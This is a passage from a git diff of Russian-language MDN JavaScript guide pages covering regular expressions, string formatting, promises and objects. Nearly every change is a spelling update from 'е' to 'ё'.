регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.</p> </li> </ul> @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <h3 id="Использование_простых_шаблонов">Использование простых шаблонов</h3> -<p>Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон <code>/abc/</code> соответствует комбинации символов в строке только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдет в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдет с подстрокой 'abc'. Сопоставление не произойдет в строке "Grab crab", потому что она не содержит подстроку 'abc'.</p> +<p>Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон <code>/abc/</code> соответствует комбинации символов в строке только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдёт в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдёт с подстрокой 'abc'. Сопоставление не произойдёт в строке "Grab crab", потому что она не содержит подстроку 'abc'.</p> <h3 id="Использование_специальных_символов">Использование специальных символов</h3> @@ -171,13 +171,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <td> <p>m и n - положительные целые. Соответствует как минимум <code>n</code> и максимум <code>m</code> вхождениям предыдущего символа. При m=n=1 пропускается.</p> - <p>Например, <code>/a{1,3}/</code> ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трем первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.</p> + <p>Например, <code>/a{1,3}/</code> ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трём первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.</p> </td> </tr> <tr> <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td> <td> - <p>Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (<code>.</code>) и звездочка (<code>*</code>)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.</p> + <p>Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (<code>.</code>) и звёздочка (<code>*</code>)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.</p> <p>Например, <code>[abcd]</code> эквивалентна <span style="font-family: monospace;">[</span><code>a-d]</code>. Они соответствуют 'b' в "brisket" и 'c' в "city". <code>/[a-z.]+/</code> и <code>/[\w.]+/</code> обе соответствуют всему в "test.i.ng".</p> </td> @@ -283,7 +283,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <tr> <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td> <td> - <p>Соответствует любому цифробуквенному символу включая нижнее подчеркивание. Эквивалентен <code>[A-Za-z0-9_]</code>.</p> + <p>Соответствует любому цифробуквенному символу включая нижнее подчёркивание. Эквивалентен <code>[A-Za-z0-9_]</code>.</p> <p>Например, <code>/\w/</code> совпадает с 'a' в "apple," '5' в "$5.28," и '3' в "3D."</p> </td> @@ -299,7 +299,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <tr> <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td> <td> - <p>Где <em>n</em> это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую <em>n</em> , заключенную в круглые скобки в регулярном выражении (считая левые скобки).</p> + <p>Где <em>n</em> это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую <em>n</em> , заключённую в круглые скобки в регулярном выражении (считая левые скобки).</p> <p>Например, <code>/apple(,)\sorange\1/</code> соответствует 'apple, orange,' в "apple, orange, cherry, peach."</p> </td> @@ -375,7 +375,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions </tbody> </table> -<p>Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами <code>test</code> или <code>search</code>; а чтобы получить больше информации пользуйтесь методами <code>exec</code> или <code>match</code> (хотя эти метода работают медленнее). Если вы пользуетесь <code>exec</code> или <code>match</code> и если совпадения есть, эти методы вернут массив и обновленные свойства объекта ассоциированного регулярного выражения а также предопределенного объекта <code>RegExp </code>регулярного выражения. Если совпадений нет, метод <code>exec</code> вернет <code>null</code> (который сконвертируется в <code>false</code>).</p> +<p>Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами <code>test</code> или <code>search</code>; а чтобы получить больше информации пользуйтесь методами <code>exec</code> или <code>match</code> (хотя эти метода работают медленнее). Если вы пользуетесь <code>exec</code> или <code>match</code> и если совпадения есть, эти методы вернут массив и обновлённые свойства объекта ассоциированного регулярного выражения а также предопределённого объекта <code>RegExp </code>регулярного выражения. Если совпадений нет, метод <code>exec</code> вернёт <code>null</code> (который сконвертируется в <code>false</code>).</p> <p>В след. примере, скрипт использует метод <code>exec</code> чтобы найти совпадения в строке.</p> @@ -388,13 +388,13 @@ var myArray = myRe.exec("cdbbdbsbz"); <pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); </pre> -<p>Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведен ниже:</p> +<p>Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведён ниже:</p> <pre class="brush: js notranslate">var myRe = new RegExp("d(b+)d", "g"); var myArray = myRe.exec("cdbbdbsbz"); </pre> -<p>С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновленные свойства показанные в след. таблице.</p> +<p>С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновлённые свойства показанные в след. таблице.</p> <table class="fullwidth-table"> <caption>Table 4.3 Результаты выполнения регулярного выражения</caption> @@ -431,7 +431,7 @@ var myArray = myRe.exec("cdbbdbsbz"); <tr> <td rowspan="2"><code>myRe</code></td> <td><code>lastIndex</code></td> - <td>Индекс с которого начнется след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)</td> + <td>Индекс с которого начнётся след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)</td> <td><code>5</code></td> </tr> <tr> @@ -471,7 +471,7 @@ console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex); <h3 id="Использование_скобочных_выражений_для_нахождения_подстрок">Использование скобочных выражений для нахождения подстрок</h3> -<p>Использование скобок в шаблоне регулярного выражения повлечет "запоминание" совпавшей подстроки. Для примера, <code>/a(b)c/</code> вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p> +<p>Использование скобок в шаблоне регулярного выражения повлечёт "запоминание" совпавшей подстроки. Для примера, <code>/a(b)c/</code> вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p> <p>Число возможных скобочных подстрок неограничено. Возвращаемый массив содержит все полученные совпадения, удовлетворяющие выражению в скобках. Следующий пример показывает как использовать скобочные выражения для нахождения подстрок.</p> @@ -557,7 +557,7 @@ console.log(myArray); <h3 id="Изменение_порядка_в_Исходной_Строке">Изменение порядка в Исходной Строке</h3> -<p>След. пример иллюстрирует формирование регулярного выражения и использование <code>string.split()</code> и <code>string.replace()</code>. Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идет первым) разделенные пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имен (фамилия станет первой) и сортируется список.</p> +<p>След. пример иллюстрирует формирование регулярного выражения и использование <code>string.split()</code> и <code>string.replace()</code>. Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идёт первым) разделённые пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имён (фамилия станет первой) и сортируется список.</p> <pre class="brush: js notranslate">// The name string contains multiple spaces and tabs, // and may have multiple spaces between first and last names. @@ -621,11 +621,11 @@ console.log(output.join("\n")); <h3 id="Использование_спецсимволов_для_проверки_входных_данных">Использование спецсимволов для проверки входных данных</h3> -<p>В след. примере, ожидается что пользователь введет телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмет кнопку "Check", скрипт проверит правильность введенного номера. Если номер правильный (совпадает с символами определенными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.</p> +<p>В след. примере, ожидается что пользователь введёт телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмёт кнопку "Check", скрипт проверит правильность введённого номера. Если номер правильный (совпадает с символами определёнными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.</p> <p>Внутри незахватывающих скобок <code>(?:, регуляное выражение ищет три цифры \d{3} ИЛИ |</code> открывающую скобку <code>\(, затем три цифры \d{3}</code>, затем закрывающую скобку <code>\), </code>(закрывающая незахватывающая скобка <code>)</code>), затем тире, слеш, или десятичная точка, и когда это выражение найдено, запоминает символ <code>([-\/\.])</code>, следующие за ним и запомненные три цифры <code>\d{3}</code>, следующее соответствие тире, слеша или десятичной точки <code>\1</code>, и следующие четыре цифры <code>\d{4}.</code></p> -<p>Регулярное выражение ищет сначала 0 или одну открывающую скобку <code>\(?</code>, <code>затем три цифры \d{3}</code>, затем 0 или одну закрывающую скобку <code>\)?</code>, потом одно тире, слеш или точка и когда найдет это, запомнит символ<code>([-\/\.])</code>, след. три цифры<code> \d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p> +<p>Регулярное выражение ищет сначала 0 или одну открывающую скобку <code>\(?</code>, <code>затем три цифры \d{3}</code>, затем 0 или одну закрывающую скобку <code>\)?</code>, потом одно тире, слеш или точка и когда найдёт это, запомнит символ<code>([-\/\.])</code>, след. три цифры<code> \d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p> <p>Событие "Изменить" активируется, когда пользователь подтвердит ввод значения регулярного выражения, нажав клавишу "Enter". </p> diff --git a/files/ru/web/javascript/guide/text_formatting/index.html b/files/ru/web/javascript/guide/text_formatting/index.html index 3539b94652..8d7ce164b9 100644 --- a/files/ru/web/javascript/guide/text_formatting/index.html +++ b/files/ru/web/javascript/guide/text_formatting/index.html @@ -67,7 +67,7 @@ console.log(str); <pre class="brush: js">var s = new String("foo"); // Создание объекта console.log(s); // Отобразится: { '0': 'f', '1': 'o', '2': 'o'} -typeof s; // Вернет 'object' +typeof s; // Вернёт 'object' </pre> <p>Вы можете вызвать любой метод объекта класса <code>String</code> на строковом литерале - JavaScript сам преобразует строковый литерал во временный объект <code>String</code>, вызовет требуемый метод и затем уничтожит этот временный объект. Со строковыми литералами вы также можете использовать и <code>String.length</code> свойство.</p> @@ -76,15 +76,15 @@ typeof s; // Вернет 'object' <pre class="brush: js">var s1 = "2 + 2"; // Создание строкового литерала var s2 = new String("2 + 2"); // Создание String объекта -eval(s1); // Вернет 4 -eval(s2); // Вернет строку "2 + 2"</pre> +eval(s1); // Вернёт 4 +eval(s2); // Вернёт строку "2 + 2"</pre> <p>Объект <code>String</code> имеет свойство <code>length</code>, которое обозначает количество символов в строке. Например, в следующем коде x получит значение 13 потому, что "Hello, World!" содержит 13 символов, каждый из которых представлен одним кодом UTF-16. Вы можете обратиться к каждому коду с помощью квадратных скобок. Вы не можете изменять отдельные символы строки, т.к. строки это массива-подобные неизменяемые объекты:</p> <pre class="brush: js">var mystring = "Hello, World!"; var x = mystring.length; -mystring[0] = 'L'; // Ничего не произойдет, т.к. строки неизменяемые -mystring[0]; // Вернет: "H" +mystring[0] = 'L'; // Ничего не произойдёт, т.к. строки неизменяемые +mystring[0]; // Вернёт: "H" </pre> <p>Объект <code>String</code> имеет множество методов, в том числе и те, которые возвращают преобразованную исходную строку (методы <code>substring</code>, <code>toUpperCase</code> и другие).</p> @@ -120,7 +120,7 @@ mystring[0]; // Вернет: "H" </tr> <tr> <td>{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}</td> - <td>Создает строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.</td> + <td>Создаёт строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.</td> </tr> <tr> <td>{{jsxref("String.split", "split")}}</td> @@ -209,7 +209,7 @@ console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`); <h2 id="Интернационализация">Интернационализация</h2> -<p>Объект {{jsxref("Intl")}} представляет собой пространство имен для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами <code>объекта Intl</code>.</p> +<p>Объект {{jsxref("Intl")}} представляет собой пространство имён для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами <code>объекта Intl</code>.</p> <h3 id="Форматирование_времени_и_даты">Форматирование времени и даты</h3> @@ -247,7 +247,7 @@ console.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五 <p>Объект {{jsxref("Collator")}} полезен для сравнения и сортировки строк.</p> -<p>Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь.<em> </em>Сортировка по типу телефонной книги подчеркивает звуки.</p> +<p>Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь.<em> </em>Сортировка по типу телефонной книги подчёркивает звуки.</p> <pre class="brush: js">var names = ["Hochberg", "Hönigswald", "Holzman"]; diff --git a/files/ru/web/javascript/guide/using_promises/index.html b/files/ru/web/javascript/guide/using_promises/index.html index fea85730ac..19183e72e9 100644 --- a/files/ru/web/javascript/guide/using_promises/index.html +++ b/files/ru/web/javascript/guide/using_promises/index.html @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Guide/Ispolzovanie_promisov <p>{{jsSidebar("Руководство по JavaScript")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</p> </div> -<p class="summary">{{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнем с объяснения использования вернувшихся промисов до объяснения принципов создания. </p> +<p class="summary">{{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнём с объяснения использования вернувшихся промисов до объяснения принципов создания. </p> <p>В сущности, промис - это возвращаемый объект, в который вы записываете два колбэка вместо того, чтобы передать их функции.</p> @@ -65,7 +65,7 @@ promise.then(successCallback, failureCallback);</pre> <h2 id="Гарантии">Гарантии</h2> -<p>В отличие от старомодных переданных колбэков промис дает некоторые гарантии:</p> +<p>В отличие от старомодных переданных колбэков промис даёт некоторые гарантии:</p> <ul> <li>Колбэки никогда не будут вызваны до <a href="/ru/docs/Web/JavaScript/EventLoop#Никогда_не_блокируется">завершения обработки текущего события</a> в событийном цикле JavaScript.</li> @@ -134,7 +134,7 @@ let promise2 = promise.then(successCallback, failureCallback); <h3 id="Цепочка_вызовов_после_catch">Цепочка вызовов после catch</h3> -<p>Можно продолжить цепочку вызовов <em>после </em>ошибки, т. е. после <code>catch</code>, что полезно для выполнения новых действий даже после того, как действие вернет ошибку в цепочке вызовов. Ниже приведен пример:</p> +<p>Можно продолжить цепочку вызовов <em>после </em>ошибки, т. е. после <code>catch</code>, что полезно для выполнения новых действий даже после того, как действие вернёт ошибку в цепочке вызовов. Ниже приведён пример:</p> <pre class="syntaxbox"><code class="language-js"><span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="punctuation token">(</span>resolve<span class="punctuation token">,</span> reject<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'</span></code>Начало<code class="language-js"><span class="string token">'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> @@ -221,7 +221,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);</c <h2 id="Композиция">Композиция</h2> -<p>{{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклоненные промисы соответственно. Это иногда бывает полезно.</p> +<p>{{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклонённые промисы соответственно. Это иногда бывает полезно.</p> <p>{{jsxref("Promise.all()")}} и {{jsxref("Promise.race()")}} - два метода запустить асинхронные операции параллельно.</p> @@ -236,7 +236,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);</c <pre><code>const applyAsync = (acc,val) => acc.then(val); const composeAsync = (...funcs) => x => funcs.reduce(applyAsync, Promise.resolve(x));</code></pre> -<p><code>composeAsync</code> функция примет любое количество функций в качестве аргументов и вернет новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:</p> +<p><code>composeAsync</code> функция примет любое количество функций в качестве аргументов и вернёт новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:</p> <pre><code>const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2); transformData(data);</code></pre> @@ -249,7 +249,7 @@ transformData(data);</code></pre> <h2 id="Порядок_выполнения">Порядок выполнения</h2> -<p>Чтобы избежать сюрпризов, функции, переданные в <code>then</code> никогда не будут вызваны синхронно, даже с уже разрешенным промисом:</p> +<p>Чтобы избежать сюрпризов, функции, переданные в <code>then</code> никогда не будут вызваны синхронно, даже с уже разрешённым промисом:</p> <pre><code>Promise.resolve().then(() => console.log(2)); console.log(1); // 1, 2</code></pre> @@ -264,9 +264,9 @@ console.log(1); // 1, 2, 3, 4</code></pre> <h2 id="Вложенность">Вложенность</h2> -<p>Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov$edit#Common_mistakes">распространенные ошибки</a>.</p> +<p>Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov$edit#Common_mistakes">распространённые ошибки</a>.</p> -<p>Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это дает большую точность в извлечение ошибок:</p> +<p>Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это даёт большую точность в извлечение ошибок:</p> <pre><code>doSomethingCritical() .then(result => doSomethingOptional() @@ -291,7 +291,7 @@ doSomething().then(function(result) { }).then(() => doFourthThing()); // Забыл закончить цепочку методом catch</code></pre> -<p>Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаем промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает <code>doFourthThing()</code> не будет ждать <code>doSomethingElse()</code> или <code>doThirdThing()</code> пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.</p> +<p>Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаём промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает <code>doFourthThing()</code> не будет ждать <code>doSomethingElse()</code> или <code>doThirdThing()</code> пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.</p> <p>Вторая ошибка это излишняя вложенность, включая первую ошибку. Вложенность также ограничивает область видимости внутренних обработчиков ошибок, если это не то чего хотел разработчик, это может привести к необработанным ошибкам. Примером этого является <a href="https://stackoverflow.com/questions/23803743/what-is-the-explicit-promise-construction-antipattern-and-how-do-i-avoid-it">пример как не нужно создавать обещания</a>, который комбинирует вложенность с чрезмерным использованием конструктора обещаний для оборачивания кода который уже использует промисы.</p> @@ -307,9 +307,9 @@ doSomething().then(function(result) { .then(() => doFourthThing()) .catch(error => console.log(error));</code></pre> -<p>Обратите внимание что <code>() => x</code> это сокращенная форма <code>() => { return x; }</code>.</p> +<p>Обратите внимание что <code>() => x</code> это сокращённая форма <code>() => { return x; }</code>.</p> -<p>Теперь у нас имеется единственная определенная цепочка с правильной обработкой ошибок.</p> +<p>Теперь у нас имеется единственная определённая цепочка с правильной обработкой ошибок.</p> <p>Использование <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> предотвращает большинство, если не все вышеуказанные ошибки—но взамен появляется другая частая ошибка—забыть ключевое слово <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>await</code></a>.</p> @@ -318,5 +318,5 @@ doSomething().then(function(result) { <ul> <li>{{jsxref("Promise.then()")}}</li> <li><a href="http://promisesaplus.com/">Спецификация Promises/A+ (EN)</a></li> - <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Нолан Лоусон (Nolan Lawson): У нас проблемы с промисами - распространенные ошибки (EN)</a></li> + <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Нолан Лоусон (Nolan Lawson): У нас проблемы с промисами - распространённые ошибки (EN)</a></li> </ul> diff --git a/files/ru/web/javascript/guide/working_with_objects/index.html b/files/ru/web/javascript/guide/working_with_objects/index.html index 88742ac122..ee94429f46 100644 --- a/files/ru/web/javascript/guide/working_with_objects/index.html +++ b/files/ru/web/javascript/guide/working_with_objects/index.html @@ -11,11 +11,11 @@ translation_of: Web/JavaScript/Guide/Working_with_Objects <p>Объекты в JavaScript, как и во многих других языках программирования, похожи на объекты реальной жизни. Концепцию объектов JavaScript легче понять, проводя параллели с реально существующими в жизни объектами.</p> -<p>В JavaScript объект — это самостоятельная единица, имеющая свойства и определенный тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.</p> +<p>В JavaScript объект — это самостоятельная единица, имеющая свойства и определённый тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.</p> <h2 id="Объекты_и_свойства">Объекты и свойства</h2> -<p>В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закрепленную за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:</p> +<p>В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закреплённую за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:</p> <div style="margin-right: 270px;"> <pre class="brush: js">objectName.propertyName @@ -30,7 +30,7 @@ myCar.model = "Mustang"; myCar.year = 1969; </pre> -<p>Неопределенные свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).</p> +<p>Неопределённые свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).</p> <pre class="brush: js line-numbers language-js"><code class="language-js">myCar<span class="punctuation token">.</span>color<span class="punctuation token">;</span> <span class="comment token">// undefined</span></code></pre> @@ -58,7 +58,7 @@ myObj[""] = "Even an empty string"; console.log(myObj); </pre> -<p>Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведенном выше коде, когда ключ <code>obj</code> добавляется в <code>myObj</code>, JavaScript вызывает метод <code>obj.toString ()</code> и использует эту результирующую строку в качестве нового ключа.</p> +<p>Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведённом выше коде, когда ключ <code>obj</code> добавляется в <code>myObj</code>, JavaScript вызывает метод <code>obj.toString ()</code> и использует эту результирующую строку в качестве нового ключа.</p> <p>Вы также можете получить доступ к свойствам, используя значение строки, которое хранится в переменной:</p> @@ -71,7 +71,7 @@ myCar[propertyName] = "Mustang"; </pre> </div> -<p>Вы можете пользоваться квадратными скобками в конструкции <a class="internal" href="/ru/docs/JavaScript/Guide/Statements#for...in_Statement" title="ru/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаете в нее сам объект и его имя как аргументы функции:</p> +<p>Вы можете пользоваться квадратными скобками в конструкции <a class="internal" href="/ru/docs/JavaScript/Guide/Statements#for...in_Statement" title="ru/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаёте в неё сам объект и его имя как аргументы функции:</p> <pre class="brush: js">function showProps(obj, objName) { var result = ""; @@ -137,12 +137,12 @@ myCar.year = 1969</pre> <p>Если объект создан при помощи инициализатора объектов на высшем уровне скрипта, то JavaScript интерпретирует объект каждый раз, когда анализирует выражение, содержащее объект, записанный как литерал. Плюс, если пользоваться функцией инициализатором, то он будет создаваться каждый раз, когда функция вызывается.</p> -<p>Следующая инструкция создает объект и назначает его переменной <code>x</code>, когда выражение <code>cond</code> истинно.</p> +<p>Следующая инструкция создаёт объект и назначает его переменной <code>x</code>, когда выражение <code>cond</code> истинно.</p> <pre class="brush: js">if (cond) var x = {hi: "there"}; </pre> -<p>Следующий пример создает объект <code>myHonda</code> с тремя свойствами. Заметьте, что свойство <code>engine</code> <span style="line-height: 1.5;">—</span> это также объект со своими собственными свойствами.</p> +<p>Следующий пример создаёт объект <code>myHonda</code> с тремя свойствами. Заметьте, что свойство <code>engine</code> <span style="line-height: 1.5;">—</span> это также объект со своими собственными свойствами.</p> <pre class="brush: js">var myHonda = { color: "red", @@ -183,7 +183,7 @@ myCar.year = 1969</pre> <pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993); </pre> -<p>Эта инструкция создает объект типа Car со ссылкой <code>mycar</code> и присваивает определенные значения его свойствам. Значением <code>mycar.make </code>станет строка "Eagle", <code>mycar.year</code> <span style="line-height: 1.5;">—</span> это целое число 1993, и так далее.</p> +<p>Эта инструкция создаёт объект типа Car со ссылкой <code>mycar</code> и присваивает определённые значения его свойствам. Значением <code>mycar.make </code>станет строка "Eagle", <code>mycar.year</code> <span style="line-height: 1.5;">—</span> это целое число 1993, и так далее.</p> <p>Вы можете создать столько объектов <code>car,</code> сколько нужно, просто вызывая <code>new</code>. Например:</p> @@ -246,11 +246,11 @@ var Animal = { } }; -// Создаем объект Animal +// Создаём объект Animal var animal1 = Object.create(Animal); animal1.displayType(); // Выведет:Invertebrates -// Создаем объект Animal и присваиваем ему type = Fishes +// Создаём объект Animal и присваиваем ему type = Fishes var fish = Object.create(Animal); fish.type = 'Fishes'; fish.displayType(); // Выведет:Fishes</pre> @@ -263,13 +263,13 @@ fish.displayType(); // Выведет:Fishes</pre> <p>В JavaScript 1.0 вы можете сослаться на свойства объекта либо по его имени, либо по его порядковому индексу. В JavaScript 1.1 и позже, если вы изначально определили свойство по имени, вы всегда должны ссылаться на него по его имени, и если вы изначально определили свойство по индексу, то должны ссылаться на него по его индексу.</p> -<p>Это ограничение налагается когда вы создаете объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом <em>Car </em>) и когда вы определяете индивидуальные свойства явно (например, <code>myCar.color = "red"</code>). Если вы изначально определили свойство объекта через индекс, например <code>myCar[5] = "25 mpg"</code>, то впоследствии сослаться на это свойство можно только так <code>myCar[5]</code>.</p> +<p>Это ограничение налагается когда вы создаёте объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом <em>Car </em>) и когда вы определяете индивидуальные свойства явно (например, <code>myCar.color = "red"</code>). Если вы изначально определили свойство объекта через индекс, например <code>myCar[5] = "25 mpg"</code>, то впоследствии сослаться на это свойство можно только так <code>myCar[5]</code>.</p> <p>Исключение из правил <span style="line-height: 1.5;">—</span> объекты, отображаемые из HTML, например массив<code> forms</code>. Вы всегда можете сослаться на объекты в этих массивах или используя их индекс (который основывается на порядке появления в HTML документе), или по их именам (если таковые были определены). Например, если второй html-тег <code><FORM></code> в документе имеет значение 